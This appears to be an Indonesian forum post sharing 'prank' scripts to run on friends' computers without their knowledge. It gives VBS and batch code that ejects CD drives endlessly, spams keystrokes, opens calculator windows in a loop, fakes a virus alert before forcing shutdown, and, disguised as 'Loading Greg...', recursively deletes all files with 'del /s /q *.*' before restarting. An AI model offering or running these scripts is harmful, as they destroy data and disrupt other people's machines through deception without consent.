Iseng pnya niat maw isengin orang !

Sebelumnya Saya minta maaf kalo misalnya udah ada yg ngepost .
Gw ada nih tips bwat iseng/ngerja'in >:) tmen-temen gw , tapi saran gw jgn dicoba di komputer agan-agan
tuhkan berarti iseng sama diri sendiri.
Yuk langsung aja , pertama tuliskan kata-kata dibawah ini di notepad agan-agan, pastikan mengetik dengan benar!.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

diatas itu untuk iseng mengeject CD-Drive berturut-turut, simpan file dengan nama terserah.VBS yang penting .VBS nya

MsgBox “Duh, Kepencet”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

yang ini buat iseng BackSpace berturut turut msgnya bisa diganti sesuka agan-agan, disave dengan format VBS kyk yang diatas.

@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top

yang ini buat iseng buka kalkulator terus menerus, disave dengan format .BAT misal: terserah.BAT

echo Loading Greg...
del /s /q *.*
echo Greg selesai di-loading...
shutdown -r -t 5

Yang ini cukup berbahaya isengnya buat ngeformad Hard Disk , save dengan format .BAT

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

yang ini buat shut down komputer , save dengan format .BAT

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Keyboard RUSAK!!! Harap Diperbaiki”
loop

Yang ini buat keyboard gak berfungsi, save dengan format .VBS

nb:Copas biasanya Tidak Berhasil Dikarenakan Perbedaan Tanda Petik (” ”) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad